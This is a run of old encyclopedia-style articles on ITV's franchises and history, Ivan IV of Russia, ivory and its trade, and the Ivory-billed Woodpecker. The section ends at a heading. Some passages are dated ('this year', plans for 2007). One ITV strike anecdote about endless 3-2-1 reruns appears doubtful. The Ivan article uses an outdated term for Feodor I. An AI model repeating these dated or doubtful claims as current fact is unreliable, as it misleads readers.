              ITV Thames Valley2
            


            
              	East of England

              	Anglia Television

              	1959

              	ITV plc

              	ITV1 Anglia2
            


            
              	London Weekday

              	Carlton Television

              	1993

              	ITV plc

              	ITV London (Weekdays)2
            


            
              	London Weekend

              	London Weekend Television

              	1968

              	ITV plc

              	ITV London (Weekends)2
            


            
              	South and South East England

              	Meridian Broadcasting

              	1993

              	ITV plc

              	ITV1 Meridian2/

              ITV1 Thames Valley2
            


            
              	South West England

              	Westcountry Television

              	1993

              	ITV plc

              	ITV1 Westcountry2
            


            
              	National Franchises
            


            
              	National teletext service

              	Teletext Ltd.

              	1993

              	DMGT

              	Teletext
            


            
              	National breakfast time

              	GMTV Ltd

              	1993

              	ITV plc (75%)/

              The Walt Disney Company (25%)

              	GMTV4

            

          


          1. ITV1 Branding is used overnight

          2. Branding is usually just "ITV1"

          3. Prior to 1968 Granada Television's franchise included most of what is now Yorkshire Television's franchise area and operated a weekday only contract

          4. Also uses CITV branding for children's output at the weekend and on digital services



          


          History


          Independent Television was created following the Television Act 1954. The Independent Television Authority was set up to control and review the network. In the three main areas  London, the Midlands and the North of England  ITV was launched in September 1955, February 1956 and May 1956 respectively. The shape of the ITV Network and the course it has taken down the years has largely been controlled by regular refranchising rounds which occurred in 1964, 1968, 1974, 1982, and 1993. These rounds saw regions and franchise areas reshaped and franchise holders changed. Additionally, since the Broadcasting Act 1990 the consolidation of ITV companies has also had an important bearing on the direction of the network.


          ITV, like many other broadcasting companies in Britain, has had their fair share of troubles over the years. Most notably, the 10-week labor strike and subsequent shutdown of all ITV broadcasts and productions. Viewers were greeted with black television screens on the morning of August 10, 1979, and were left without regular morning chat shows, and, most importantly, the highly-rated British soap opera, Coronation Street, as well as various televised sporting events. The strike ended, and programming resumed on October 24, 1979. Most of the nation learned through rival BBC that programming had resumed over on ITV. When viewers switched over, they were greeted with the new jingle, "Welcome home to ITV" as sung by the Mike Sammes Singers. Ultimately, the strike would be known as the longest strike in television history, to date.


          When the strike ended, ITV had the daunting task of luring back viewers from BBC. This proved difficult as production of original programming had yet to occur, and wouldn't even be available for several months. ITV's solution was to air episode after episode of 3-2-1, which lead to ITV being continuously hammered in the ratings by BBC. Two and a half months after ITV began broadcasting again, they were finally ready to air additional original programming, and viewers quietly began switching back. Fortunately, this strike was to be the last major strike for ITV, even though minor disputes plagued the television industry in the 80s, mostly impacting BBC.


          


          Future


          


          With more channels to choose from, digital television is increasingly putting pressure on the ITV network's ratings and advertising revenues. This has led a number of requests by franchisees to reduce the networks public service commitments. For example, most recently, ITV has shown interest in reducing its children's output. Critics of the broadcaster have also pointed to the reduction in commitment to regional programming and presentation.


          Perhaps the most controversial change was the scrapping of the flagship late evening news programme, News at Ten in 1999, replacing it with a later, irregular scheduled and shorter news bulletin. ITV argued that the move would enable it to make the evening schedule more diverse and flexible, allowing them to show feature length films without a news break.


          Such actions on the part of ITV together with a move to more populist programming has led to many commentators to accuse ITV of ' dumbing down'. In its defence, ITV does continue to show its major strengths in the fields of sports coverage and drama productions, and the production of 'high-brow' programming such as The South Bank Show has continued. However its' long-standing commitment to strong current affairs programming has diminished with the ending of productions such as World In Action ( Granada), This Week ( Rediffusion/ Thames), First Tuesday ( Yorkshire Television) and Weekend World ( LWT) and their replacement with populist shows such as Tonight.


          The threat to "Channel 3" advertising revenues has also led franchisees to increasingly diversifiy their businesses. Most notably, ITV plc owns five additional digital-only television channels, ITV2, ITV3, ITV4, CITV Channel and Men & Motors and also time-shift channels of ITV2 and 3. This diversification has also led to numerous notable failures such as ITV Digital in 2002, which was owned by ITV plc's predecessors Carlton and Granada.


          


          Programmes


          For over 50 years of Independent Television, the homegrown programmes have become the most lovable and remembered as well as being extremely successful. Before the 1990s, nearly all of the content for the channel was produced by the fifteen franchise licensees: the regional companies.


          However, in the last decade, and following legislation in the 1990 Broadcasting Act imposing a 25% quota for commissioning of independent productions, the number of programmes from independent production companies not connected to the traditional ITV Network, has increased rapidly. Notable examples include talkbackTHAMES (one half of which - Thames Television - was itself a former ITV franchisee), producers of The Bill and co-producers of The X Factor, and 2waytraffic, (previously Celador), producers of Who Wants to Be a Millionaire?.


          Increasingly ITV's primetime schedules are dominated by its soap operas, such as Coronation Street, Emmerdale, and popular cop drama The Bill (produced by TalkbackThames). At the start of the 21st century, Independent Television were bashed by critics for including a vast amount of cheap reality programming into the schedule, namely shows like Celebrity Fit Club and Celebrity Wrestling.


          Since then, ITV has struggled to regain viewers' trust, as many inexpensive programming has not paid dividends. When Michael Grade took over as Executive Chairman in January of this year, ITV have shown signs of recovery, especially in the programming department.


          


          News


          


          National and International


          Since the network started Independent Television News Limited has held the contract to produce news for the ITV Network. News bulletins are broadcast at 5:30am, 1:30pm, 6:30pm, and 10:00pm.


          


          Regional


          The regional ITV companies provide local programmes tailored for the regional audiences. All the ITV companies provide a main local bulletin at 6pm (preceded in the UTV region, and soon, also on STV, by a more features-based programme at 5:30pm), as well as other local features and sport programming. Both news and regional programming for the ITV plc regions will be made available online during 2007 through the ITV Local VoD broadband initiative.


          


          Sport


          ITV covers many popular sports. The channel emphasises coverage of football (it holds the UK terrestrial rights to the UEFA Champions League). The channel shares coverage of international football events such as the World Cup with the BBC. It also covers Formula 1 racing and other motorsport, rugby, and other sports. The channel won the rights to broadcast The Boat Race in 2004.


          On 30 March 2007, The Football Association confirmed that it had agreed a new four-year 425m television deal for ITV and Setanta Sports to show FA Cup and England international matches. This represents a 42% increase on the existing deal with the BBC and BSkyB.


          


          Children's


          The network broadcasts children's programming under the CITV (Children's ITV) strand. Children's programming is broadcast across the network on weekend mornings. In March 2006 ITV launched the CITV Channel, which is accessible by Sky, Virgin Media and Freeview, it shows all of the children's programmes weekdays between 6am and 6pm and at weekends 6am to 12.30pm.


          Following the launch of CITV, children's programmes were removed from the ITV line-up, which was challenged by Ofcom in April. Fanbases of several action based cartoons have complained due to abrupt cancellations, with these shows being axed either at the end of a season, or halfway through a season, such as the CGI cartoon ReBoot, which was taken off air halfway through Series 3 in 1998 with 7 episodes left to air. They claimed back in 1997 they were not obliged to take all episodes, and they had taken the first 10 (Out of 16) episodes of that series. Only 9 of these were aired. Plus the first two episodes were never aired in the repeat of Episodes 1-6 (which were aied in summer 1997) of series 3, which were re aired before going into the rest of their episodes. Upon this cancellation, the Unnoficial ReBoot website stated that a fan spent months emailing both ITV and Meridian, whom in December 1998, stated they deemed the content of ReBoot unsuitable. Since then, they have aired all 26 episodes of Gerry Andersons New Captain Scarlet, which was much more dark and violent then ReBoot(Particularly in Captain Scarlet's second season.)


          


          The future


          On 12 September 2007, ITV announced a major five-year restructuring plan targeting entertainment as the corporation's top priority. A major overhaul of the regional structure of ITV was also proposed. The proposals would see consolidation of the ITV regional news programmes, with regions now broadcasting one service per region rather than multiple tailored local services (for example: ITV Yorkshire would no longer broadcast separate Northern and Southern regions). The proposed changes would also fully merge ITV Border with ITV Tyne Tees and ITV West with ITV Westcountry, effectively ending two regions' tenure as independent players within ITV. Any changes would be subject to full approval by Ofcom.


          There would be a certain amount of expansion elsewhere  ITV currently produces around 54% of its programmes in-house and hopes to increase this figure to the maximum 75% allowed by the regulators over the coming years. ITV's plans also see the broadcaster diversifying across other platforms, including broadband video via itv.com and ITV Local, and an expansion of mobile phone services. The call-TV/PRTS based ITV Play service, however, was dropped after attracting significant negative publicity.


          It is generally unknown if there will be any further franchise rounds held by Ofcom; the last was in 1993. Carlton Television (now part of ITV plc) had their license renewed without a contest in 2004, and UTV's expires on 31st December 2008. If there isn't a franchise round by 2009, it will be the longest ITV has gone with the same contractors.
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        Ivan IV of Russia


        
          

          
            
              	Ivan IV

              Ivan the Terrible
            


            
              	Grand Prince of Moscow

              Czar of all Russia
            


            
              	[image: ]

              Portrait of Ivan IV by Viktor Vasnetsov, 1897 ( Tretyakov Gallery, Moscow)
            


            
              	Reign

              	3 December 1533 - 28 March [ O.S. 18 March] 1584
            


            
              	Coronation

              	16 January 1547
            


            
              	Born

              	25 August 1530(1530-08-25)
            


            
              	Birthplace

              	Moscow
            


            
              	Died

              	28 March [ O.S. 18 March] 1584 (aged 53)
            


            
              	Place of death

              	Moscow
            


            
              	Predecessor

              	Vasili III
            


            
              	Feodor I
            


            
              	Successor

              	Feodor I
            


            
              	Consort

              	Anastasia of Russia
            


            
              	Offspring

              	Feodor I
            


            
              	Dynasty

              	Rurik
            


            
              	Father

              	Vasili III
            


            
              	Mother

              	Elena Glinskaya
            

          


          Ivan IV Vasilyevich (Russian: Ива́н Четвёртый, Васи́льевич), best known as Ivan the Terrible ( August 25, 1530, Moscow 28 March [ O.S. 18 March] 1584, Moscow) was Grand Prince of Moscow from 1533.


          The Grand Prince Ivan having achieved much overseeing numerous changes in the transition from a mere local medieval nation state to a small empire and emerging regional power, became acknowledged as the first Tsar (or czar) of a new more powerful nation, became "Tsar of All Russia" from 1547.


          


          Ivan was strong minded, devout, and impulsive; given to rages, and according to the suspicions of some, probably had episodic outbreaks of mental disorder. One notable outburst resulted in the death of his groomed and chosen heirIvan Ivanovichresulting in the passing of the Tsardom to a less than ideal younger sonthe mentally retarded Feodor I of Russia.


          His long reign saw the conquest of the Khanates of Kazan, Astrakhan, and Sibir, transforming Russia into a multiethnic and multiconfessional state. He is traditionally known in Russian as Ivan Grozny (Russian: Ива́н Гро́зный listen), which is typically translated into English as Ivan the Terrible, but is more correctly translated as Ivan the Threatening.


          The Tsardom of Rus' (Russian: Царство Русское) was the official name for the Russian state between Ivan IV's assumption of the title of Tsar (Emperor) in 1547 and Peter the Great's foundation of the Russian Empire in 1721. The name originated from the fact that it contained all of the Rus lands that were at the time free of foreign states domination.


          Some Western sources refer to this little known or understood state as Muscovite Russia or Muscovy, the term originally applied in Western and Central Europe to its medieval predecessor, the Grand Duchy of Moscow. Diverse researchers consider the propagation of this term in Western Europe as a result of political interests and active diplomacy of Poland, the strongest international power in Northern-eastern Europe of the dawning Early Modern era.


          


          Early reign


          Ivan was the long awaited son of Vasili III, who had divorced his first wife in the 1520s on the grounds that she was barren (he charged her with sorcery and had her forcibly tonsured a nun before marrying Elena Glinskaya, Ivan's mother.) When Ivan was just three years old his father died from a boil and inflammation on his leg which developed into blood poisoning. Ivan was proclaimed the Grand Prince of Moscow at his fathers request. At first, his mother Yelena Glinskaya acted as a regent, but she died when Ivan was merely eight years old. She was replaced as regent by boyars from the Shuisky family until Ivan assumed power in 1544. According to his own letters, Ivan customarily felt neglected and offended by the mighty boyars from the Shuisky and Belsky families. (These traumatic experiences may have contributed to his hatred of the boyars and to his mental instability. Alternatively, the negative feelings revealed in his letters may have been a reflection of his disagreeable temperament.)
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          Ivan was crowned king with Monomakh's Cap at the Cathedral of the Dormition at age sixteen on January 16, 1547. Despite calamities triggered by the Great Fire of 1547, the early part of his reign was one of peaceful reforms and modernization. Ivan revised the law code (known as the sudebnik), created a standing army (the streltsy), established the Zemsky Sobor or assembly of the land, a public, consensus-building assembly, the council of the nobles (known as the Chosen Council), and confirmed the position of the Church with the Council of the Hundred Chapters, which unified the rituals and ecclesiastical regulations of the entire country. He introduced the local self-management in rural regions, mainly in the Northeast of Russia, populated by the state peasantry. During his reign the first printing press was introduced to Russia (although the first Russian printers Ivan Fedorov and Pyotr Mstislavets had to flee from Moscow to the Grand Duchy of Lithuania).


          In 1547 Hans Schlitte, the agent of Ivan, employed handicraftsmen in Germany for work in Russia. However all these handicraftsmen were arrested in Lbeck at the request of Poland and Livonia. The German merchant companies ignored the new port built by Ivan on the river Narva in 1550 and continued to deliver goods in the Baltic ports owned by Livonia. Russia remained isolated from sea trade.


          Ivan formed new trading connections, opening up the White Sea and the port of Arkhangelsk to the Muscovy Company of English merchants. In 1552 he defeated the Kazan Khanate, whose armies had repeatedly devastated the Northeast of Russia, and annexed its territory. In 1556, he annexed the Astrakhan Khanate and destroyed the largest slave market on the river Volga. These conquests complicated the migration of the aggressive nomadic hordes from Asia to Europe through Volga and transformed Russia into a multinational and multiconfessional state. He had St. Basil's Cathedral constructed in Moscow to commemorate the seizure of Kazan. Legend has it that he was so impressed with the structure that he had the architect, Postnik Yakovlev, blinded, so that he could never design anything as beautiful again. In fact, it is known that Yakovlev designed several churches and the kremlin walls in Kazan itself in the early 1560s, as well as the chapel over St. Vasilii's grave that was added to St. Basil's Cathedral in 1588, several years after Ivan's death, indicating that he had not, in fact, been blinded by the tsar years earlier.
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          Other events of this period include the introduction of the first laws restricting the mobility of the peasants, which would eventually lead to serfdom, and change in Ivan's personality, traditionally linked to his near-fatal illness in 1553 and the death of his first wife, Anastasia Romanovna in 1560. Ivan suspected boyars of poisoning his wife and of plotting to replace him on the throne with his cousin, Vladimir of Staritsa. In addition, during that illness Ivan had asked the boyars to swear an oath of allegiance to his eldest son, an infant at the time. Many boyars refused, deeming the tsar's health too hopeless to survive. This angered Ivan and added to his distrust of the boyars. There followed brutal reprisals and assassinations, including those of Metropolitan Philip and Prince Alexander Gorbatyi-Shuisky.


          The 1565 formation of the Oprichnina was also significant. The Oprichnina was the section of Russia (mainly the Northeast) directly ruled by Ivan and policed by his personal servicemen, the Oprichniki. This system of Oprichnina has been viewed by some historians as a tool against the omnipotent hereditary nobility of Russia ( boyars) who opposed the absolutist drive of the tsar, while others have interpreted it as a sign of the paranoia and mental deterioration of the tsar.


          


          Later reign
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          The later half of Ivan's reign was far less successful. Although Khan Devlet I Giray of Crimea repeatedly devastated the Moscow region and even set Moscow on fire in 1571, the Czar supported Yermak's conquest of Tatar Siberia, adopting a policy of empire-building, which led him to launch a victorious war of seaward expansion to the west, only to find himself fighting the Swedes, Lithuanians, Poles, and the Livonian Teutonic Knights.


          For twenty-four years the Livonian War dragged on, damaging the Russian economy and military and failing to gain any territory for Russia. In the 1560s the combination of drought and famine, Polish-Lithuanian raids, Tatar invasions, and the sea-trading blockade carried out by the Swedes, Poles and the Hanseatic League devastated Russia. The price of grain increased by a factor of ten. Epidemics of the plague killed 10,000 in Novgorod. In 1570 the plague killed 600-1000 in Moscow daily. One of Ivan's advisors, Prince Andrei Kurbsky, defected to the Lithuanians, headed the Lithuanian troops and devastated the Russian region of Velikiye Luki. This treachery deeply hurt Ivan. As the Oprichnina continued, Ivan became mentally unstable and physically disabled. In one week, he could easily pass from the most depraved orgies to anguished prayers and fasting in a remote northern monastery.


          Because he gradually grew unbalanced and violent, the Oprichniks under Malyuta Skuratov soon got out of hand and became murderous thugs. They massacred nobles and peasants, and conscripted men to fight the war in Livonia. Depopulation and famine ensued. What had been by far the richest area of Russia became the poorest. In a dispute with the wealthy city of Novgorod, Ivan ordered the Oprichniks to murder inhabitants of this city, which was never to regain its former prosperity. His followers burned and pillaged the city and villages. As many as 60,000 might have been killed during the infamous Massacre of Novgorod in 1570; many others were deported elsewhere. Yet the official death toll named 1,500 of Novgorod big people (nobility) and only mentioned about the same number of smaller people. Many modern researchers estimate number of victims between two and three thousand. (After the famine and epidemics of 1560s the population of Novgorod perhaps did not exceed 10,000-20,000.)
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          Having rejected peace proposals from his enemies, Ivan IV found himself in a difficult position by 1579, when Crimean Khanate devastated Muscovian territories and even burnt down Moscow (see Russo-Crimean Wars). The dislocations in population fleeing the war compounded the effects of the concurrently occurring drought and exacerbated war engendered epidemics causing much loss of population.


          All together, the prolonged war had near fatally affected the economy, Oprichnina had thoroughly disrupted the government, while The Grand Principality of Lithuania had united with The Kingdom of Poland and acquired an energetic leader, Stefan Batory, who was supported by Russia's southern enemy, The Ottoman Empire ( 1576). Ivan's realm was now squeezed by two great powers of the day.


          With the failure of negotiations, Stefan Batory replied with a series of three offensives against Muscovy in each campaign seasons of 15791581, trying to cut The Kingdom of Livonia from Muscovian territories.


          During his first offensive in 1579 with 22,000 men he retook Polotsk, during the second, in 1580, with 29,000-strong army he took Velikie Luki, and in 1581 with a 100,000-strong army he started the Siege of Pskov.


          Frederick II had trouble continuing the fight against Muscovy unlike Sweden and Poland. He came to an agreement with John III in 1580 giving him the titles in Livonia. That war would last from 1577 to 1582. Muscovy recognized Polish-Lithuanian control of Ducatus Ultradunensis only in 1582. After Magnus von Lyffland died in 1583, Poland invaded his territories in The Duchy of Courland and Frederick II decided to sell his rights of inheritance. Except for the island of sel, Denmark was out of the Baltic by 1585. As of 1598 Inflanty was divided onto:


          
            	Wenden Voivodeship (wojewdztwo wendeńskie, Kieś)


            	Dorpat Voivodeship (wojewdztwo dorpackie, Dorpat)


            	Parnawa Voivodeship (wojewdztwo parnawskie, Parnawa)

          


          In 1581, Ivan beat his pregnant daughter-in-law for wearing immodest clothing, which may have caused a miscarriage. His son, also named Ivan, upon learning of this, engaged in a heated argument with his father, which resulted in Ivan striking his son in the head with his pointed staff, causing his son's (accidental) death. This event is depicted in the famous painting by Ilya Repin, Ivan the Terrible and his son Ivan on Friday, November 16, 1581 better known as Ivan the Terrible killing his son.


          


          Death and legacy
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          Although it is thought by many that Ivan died while setting up a chess board, it is more likely that he died while playing chess with Bogdan Belsky on March 18, 1584. When Ivan's tomb was opened during renovations in the 1960s, his remains were examined and discovered to contain very high amounts of mercury, indicating a high probability that he was poisoned. Modern suspicion falls on his advisors Belsky and Boris Godunov (who became tsar in 1598). Three days earlier, Ivan had allegedly attempted to rape Irina, Godunov's sister and Feodor's wife. Her cries attracted Godunov and Belsky to the noise, whereupon Ivan let Irina go, but Belsky and Godunov considered themselves marked for death. The tradition says that they either poisoned or strangled Ivan in fear for their own lives. The mercury found in Ivan's remains may also be related to treatment for syphilis, which it is speculated that Ivan had. This same investigation revealed that Ivan had also suffered many years from rheumatoid arthritis, which also was treated with mercurials. It is well known that one of the end stages of syphilis (Tertiary Syphilis) many times results in severe disseminated arthritis. Not only can heavy metal (mercury) poisoning lead to violent mood swings, but so does Tertiary Syphilis. Upon Ivan's death, the ravaged kingdom was left to his unfit and childless son Feodor.


          


          Epistles
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          D.S. Mirsky called Ivan "a pamphleteer of genius". The epistles attributed to him are the masterpieces of old Russian (perhaps all Russian) political journalism. They may be too full of texts from the Scriptures and the Fathers, and their Church Slavonic is not always correct. But they are full of cruel irony, expressed in pointedly forcible terms.


          The shameless bully and the great polemicist are seen together in a flash when he taunts the runaway prince Kurbsky with the question: "If you are so sure of your righteousness, why did you run away and not prefer martyrdom at my hands?" Such strokes were well calculated to drive his correspondent into a rage. "The part of the cruel tyrant elaborately upbraiding an escaped victim while he continues torturing those in his reach may be detestable, but Ivan plays it with truly Shakespearian breadth of imagination". These letters are often the only source we have on Ivan's personality and provide crucial information on his reign, but Harvard professor Edward Keenan has argued that these letters are seventeenth century forgeries. This contention, however, has not been widely accepted, and other scholars, such as John Fennell and Ruslan Skrynnikov continued to argue for their authenticity. Recent archival discoveries of sixteenth century copies of the letters strengthen the argument for their authenticity.


          Besides his letters to Kurbsky he wrote other satirical invectives to men in his power. The best is his letter to the abbot of the Kirillo-Belozersky Monastery, where he pours out all the poison of his grim irony on the unascetic life of the boyars, shorn monks, and those exiled by his order. His picture of their luxurious life in the citadel of ascetism is a masterpiece of trenchant sarcasm.


          


          Sobriquet


          The English word terrible is usually used to translate the Russian word grozny in Ivan's nickname, but the modern English usage of terrible, with a pejorative connotation of bad or evil, does not precisely represent the intended meaning. Grozny's meaning is closer to the original usage of terribleinspiring fear or terror, dangerous (as in Old English in one's danger), formidable, threatening, or awesome. Perhaps a translation closer to the intended sense would be Ivan the Fearsome, or Ivan the Formidable.
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          Ivory is formed from dentine and constitutes the bulk of the teeth and tusks of animals such as the elephant, hippopotamus, walrus, mammoth and narwhal.


          The word "ivory" was traditionally applied to the tusks of elephants; the word is ultimately from Ancient Egyptian b, bu "elephant".


          Ivory has availed itself to many ornamental and practical uses. Prior to the introduction of plastics, it was used for billiard balls, piano keys, bagpipes, buttons and a wide range of ornamental items. Synthetic substitutes for ivory have been developed. Plastics have been viewed by piano purists as an inferior ivory substitute on piano keys, although other recently developed materials more closely resemble the feel of real ivory.


          


          Structure


          
            [image: Section through the ivory tooth of a mammoth]

            
              Section through the ivory tooth of a mammoth
            

          


          The chemical structure of the teeth and tusks of mammals is the same regardless of the species of origin. The trade in certain teeth and tusks other than elephant is well established and widespread, therefore "ivory" can correctly be used to describe any mammalian teeth or tusks of commercial interest which is large enough to be carved or scrimshawed.


          


          Teeth and tusks


          Teeth and tusks have the same origins. Teeth are specialized structures adapted for food chewing. Tusks, which are extremely large teeth projecting beyond the lips, may give certain species an evolutionary advantage.


          Tusks are modified teeth, both of which share the same physical structures: pulp cavity, dentine, cementum and enamel. The innermost area is the pulp cavity. The pulp cavity is an empty space within the tooth that conforms to the shape of the pulp.


          


          Ivory in art
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          Paleolithic Cro-Magnon man, during the late stages of the ice age, were the first to carve in ivory (mammoth tusks). Both the Greek and Roman civilizations used large quantities of ivory to make high value works of art, precious religious objects, and decorative boxes for costly objects. Ivory was often used to form the white of the eyes of statues.
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          The Syrian and North African elephant populations were reduced to extinction, probably due to the demand for ivory in the Classical world.


          The Chinese have long valued ivory for both art and utilitarian objects. Early reference to the Chinese export of ivory is recorded after the Chinese explorer Zhang Qian ventured to the west to form alliances to enable for the eventual free movement of Chinese goods to the west; as early as the first century BC, ivory was moved along the Northern Silk Road for consumption by western nations. Southeast Asian kingdoms included tusks of the Indian elephant in their annual tribute caravans to China. Chinese craftsmen carved ivory to make everything from images of Buddhist and Taoist deities to opium pipes.


          The Indianized Buddhist cultures of Southeast Asia, including Myanmar (Burma), Thailand, Laos and Cambodia traditionally harvested ivory from their domesticated elephants. Ivory was prized for containers due to its ability to keep an airtight seal. Ivory was also commonly carved into elaborate seals utilized by officials to "sign" documents and decrees by stamping them with their unique official seal.
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          In Southeast Asian countries where Muslim Malay peoples live, such as Malaysia, Indonesia and the Philippines, ivory was the material of choice for making the handles of magical kris daggers. In the Philippines, ivory was also used to craft the faces and hands of Catholic icons and images of saints.


          Tooth and tusk ivory can be carved into a vast variety of shapes and objects. A small example of modern carved ivory objects are small statuary, netsukes, jewelry, flatware handles, furniture inlays, and piano keys. Additionally, warthog tusks, and teeth from sperm whales, orcas and hippos can also be scrimshawed or superficially carved, thus retaining their morphologically recognizable shapes.


          


          Consumption before plastics


          Before plastics were invented, ivory was important for cutlery handles, musical instruments, billiard balls, and many other items. It is estimated that consumption in Great Britain alone in 1831 amounted to the deaths of nearly 4,000 elephants. Ivory can be taken from dead animals  Russians dug up tusks from extinct mammoths  however most ivory came from elephants who were killed for their tusks. Other animals which are now endangered were also preyed upon, for example, hippos, which have very hard white ivory prized for making artificial teeth.


          


          Availability
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          Due to the rapid decline in the populations of the animals that produce it, the importation and sale of ivory in many countries is banned or severely restricted. Much of the decline in population is due to poachers during and before the 1980s. Since the worldwide ivory trade ban in 1989 there have been ups and downs in elephant populations, and ivory trade as bans have been placed and lifted. Many African countries including Zimbabwe, Namibia and Botswana claim that ivory trade is necessaryboth to stimulate their economies and reduce elephant populations which are allegedly harming the environment. A 1999 study done by Oxford University found that less than one percent of the five-hundred million US dollars ivory sales generated ever reach Africans; most of it goes to middlemen and vendors. However, in 2002 the United Nations partially lifted the ban on ivory trade, allowing a few countries to export certain amounts of ivory. The effectiveness of the policy is in question, in light of the study preceding the ban, and an updated study would be needed to evaluate the current state of the ivory trade.


          In 2007 eBay, under pressure from the International Fund for Animal Welfare, made the decision to ban all international sales of elephant ivory products. The IFAW found that up to 90% of the elephant ivory transactions on Ebay violated their own wildlife policies and could potentially be illegal. The ban does not affect trade within the United States but only trade between sellers in different countries.


          Kenya, which saw its elephant populations plummet in the decade preceding the 1989 ban, claims that legalizing ivory trade anywhere in Africa will endanger elephants everywhere in Africa as poachers would attempt to launder their illegal ivory with legal stockpiles.


          The 2006 Zakouma elephant slaughter in Chad is one of a long series of massacres which have eliminated some ninety-six percent of the original 300,000 African elephant population of Chad in only four decades.


          Trade in the ivory from the tusks of dead mammoths has occurred for 300 years and continues to be legal. Mammoth ivory is used today to make handcrafted knives and similar implements.


          The demand for ivory is primarily from the Japanese hanko industry. Hankos are small seals used for signing documents. Traditionally, these hankos were also made from other material. Ivory hankos were introduced only in the last century.


          A species of hard nut is gaining popularity as a replacement for ivory, although its size limits its usability. It is sometimes called vegetable ivory, or tagua, and is the seed endosperm of the ivory nut palm commonly found in coastal rainforests of Ecuador , Peru and Colombia.


          On July 15, 2008, the United Nations panel overseeing the CITES convention granted China and Japan permission to import elephant ivory from African government stockpiles in a one-time auction. The auction will comprise approximately 44 tons from Botswana, 9 tons from Namibia, 51 tons from South Africa, and 4 tons from Zimbabwe. The Chinese government in 2003 acknowledged that it had lost track of 121 tons of ivory between 1991 and 2002.


          


          Types of ivory


          
            	Elephant and mammoth ivory from the tusks of bull elephants and mammoths


            	Walrus ivory from the tusks of a bull walrus


            	Warthog ivory


            	Hornbill ivory, derived from a bird, is not true ivory but resembles it
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              	Conservation status
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                  Critically Endangered( IUCN 3.1)
                

              
            


            
              	Scientific classification
            


            
              	
                
                  
                    	Kingdom:

                    	Animalia

                  


                  
                    	Phylum:

                    	Chordata

                  


                  
                    	Class:

                    	Aves

                  


                  
                    	Order:

                    	Piciformes

                  


                  
                    	Family:

                    	Picidae

                  


                  
                    	Genus:

                    	Campephilus

                  


                  
                    	Species:

                    	Campephilus principalis

                  

                

              
            


            
              	Binomial name
            


            
              	Campephilus principalis

              (Linnaeus, 1758)
            

          


          The Ivory-billed Woodpecker (Campephilus principalis), a very large member of the woodpecker family, Picidae, is officially listed as an endangered species, but by the end of the 20th century had widely been considered extinct.


          Reports of at least one male bird in Arkansas in 2004 and 2005 were suggested in April 2005 by a team led by the Cornell Laboratory of Ornithology (Fitzpatrick et al., 2005). If confirmed, this would make the Ivory-billed Woodpecker a lazarus species, a species that is rediscovered alive after being considered extinct for some time.


          In June 2006, a $10,000 reward was offered for information leading to the discovery of an Ivory-billed Woodpecker nest, roost or feeding site.


          In late September 2006, a team of ornithologists from Auburn University and the University of Windsor published a paper detailing suggestive evidence for the existence of Ivory-billed Woodpeckers along the Choctawhatchee River in northwest Florida (Hill et al., 2006).


          Despite the initial reports from both Arkansas or Florida, conclusive evidence for the existence of a population of Ivory-billed Woodpeckers, in the form of unambiguous photographs/videos, specimens, or DNA from feathers, has not been forthcoming. Nonetheless, land acquisition and restoration efforts are currently underway to protect the possible survival of this woodpecker.


          


          Description
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          The Ivory-billed Woodpecker is the third largest woodpecker in the world, and the largest in the United States. The largest of all woodpeckers is the closely related Imperial Woodpecker (C. imperialis) of western Mexico, another rare species which is very likely to be extinct. The Ivory-billed has a total length of 20 inches (50 centimeters) and weighs 20 ounces (570 grams). It has a 30 inch (75 centimeters) wing span. The bird is shiny blue-black with white markings on its neck and back and extensive white on the trailing edge of both the upper- and underwing. The underwing is also white along its forward edge, resulting in a black line running along the middle of the underwing, expanding to more extensive black at the wingtip. In adults, the bill is ivory in colour, chalky white in juveniles. Ivory-bills have a prominent crest, although in juveniles it is ragged. The crest is black in juveniles and females. In males, the crest is black along its forward edge, changing abruptly to red on the side and rear. The chin of an ivory-bill is black. When perched with the wings folded, ivory-bills of both sexes present a large patch of white on the lower back, roughly triangular in shape. These characteristics distinguish it from the smaller and darker-billed Pileated Woodpecker. The Pileated normally is brownish-black, smoky, or slaty black in colour. It also has a white neck stripe but the back is normally black. Pileated juveniles and adults have a red crest and a white chin. Pileateds normally have no white on the trailing edges of their wings and when perched normally show only a small patch of white on each side of the body near the edge of the wing. However, Pileated Woodpeckers, apparently aberrant individuals, have been reported with white trailing edges on the wings, forming a white triangular patch on the lower back when perched. Like all woodpeckers, the ivory-bill has a strong and straight bill and a long, mobile, hard-tipped, barbed tongue. Among North American woodpeckers, the ivory-bill is unique in having a bill whose tip is quite flattened laterally, shaped much like a beveled wood chisel. The bird's drum is a single or double rap. Four fairly distinct calls are reported in the literature and 2 were recorded in the 1930's. The most common, a kent or hant, sounds like a toy trumpet often repeated in series. When the bird is disturbed, the pitch of the kent note rises, it is repeated more frequently, and is often doubled. A conversational call, also recorded, is given between individuals at the nest, and has been described as Kent-Kent-Kent.


          


          Habitat and diet


          Ivory-billeds are known to prefer thick hardwood swamps and pine forests, with large amounts of dead and decaying trees. Prior to the American Civil War, much of the Southern United States was covered in vast tracts of primeval hardwood forests that were suitable as habitat for the bird. At that time, the Ivory-billed Woodpecker ranged from east Texas to North Carolina, and from southern Illinois to Florida and Cuba. After the Civil War, the timber industry deforested millions of acres in the South, leaving only sparse isolated tracts of suitable habitat.


          The Ivory-billed Woodpecker feeds mainly on the larvae of wood-boring beetles, but also eats seeds, fruit, and other insects. The bird uses its enormous white bill to hammer, wedge, and peel the bark off dead trees to find the insects. Surprisingly, these birds need about 25km (10square miles) per pair so they can find enough food to feed their young and themselves. Hence, they occur at low densities even in healthy populations. The more common Pileated Woodpecker may compete for food with this species.


          


          Breeding biology


          The Ivory-billed Woodpecker is thought to pair for life. Pairs are also known to travel together. These paired birds will mate every year between January and May. Before they have their young, they excavate a nest in a dead or partially dead tree about 815m up from the ground. Usually two to five eggs are laid and incubated for 3 to 5weeks. Both parents sit on the eggs and are involved in taking care of the chicks, with the male taking sole responsibility at night. They feed the chicks for months. About five weeks after the young are born, they learn to fly. Even after the young are able to fly, the parents will continue feeding them for another two months. The family will eventually split up in late fall or early winter.


          


          Status


          Heavy logging activity exacerbated by hunting by collectors devastated the population of Ivory-billed Woodpeckers in the late 1800s. It was generally considered extinct in the 1920s, when a pair turned up in Florida, only to be shot for specimens.


          By 1938, an estimated 20 individuals remained in the wild, some 6-8 of which were located in the old-growth forest called the Singer Tract in Louisiana, where logging rights were held by the Chicago Mill and Lumber Company. The company brushed aside pleas from four Southern governors and the National Audubon Society that the tract be publicly purchased and set aside as a reserve, and clearcut the forest. By 1944 the last known Ivory-billed Woodpecker, a female, was gone from the cut-over tract (Smithsonian p 98).


          


          Reported sightings: 1940s to 1990s


